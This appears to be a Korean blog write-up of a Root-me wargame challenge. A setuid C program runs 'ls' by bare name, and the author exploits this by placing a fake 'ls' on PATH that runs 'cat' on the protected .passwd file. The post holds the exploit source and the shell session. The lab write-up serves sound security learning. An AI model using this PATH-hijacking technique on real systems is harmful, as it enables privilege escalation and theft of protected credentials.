728x90
반응형
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setreuid(geteuid(), geteuid());
system("ls -lA /challenge/app-script/ch12/.passwd");
return 0;
}
이번에는 ls 명령어에 인자가 있다.
이전과 동일하게 ls 명령어 실행 시 임의 폴더의 cat을 실행하는 ls 파일을 만들어두되,
두번째 인자만 값으로 받아들여 읽어보자.
간단히 코딩.
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]){
char cmd[100];
sprintf(cmd,"cat %s",argv[2]);
printf("%s\n",cmd);
system(cmd);
return 0;
}
PATH 환경 변수에 이 프로그램의 경로를 등록하고 문제 파일 실행.
app-script-ch12@challenge02:/tmp/wv2$ ~/ch12
cat /challenge/app-script/ch12/.passwd
----------#플래그는 삭제
728x90
반응형
'Wargame > Root me' 카테고리의 다른 글
[Cracking] PE x86 - 0 protection (0) | 2022.07.15 |
---|---|
[Cracking] ELF x86 - Basic (0) | 2022.07.15 |
[Cryptanalysis] Encoding - UU (0) | 2022.07.15 |
[Cryptanalysis] Encoding - ASCII (0) | 2022.07.15 |
[Cracking] ELF x86 - 0 protection (0) | 2022.07.15 |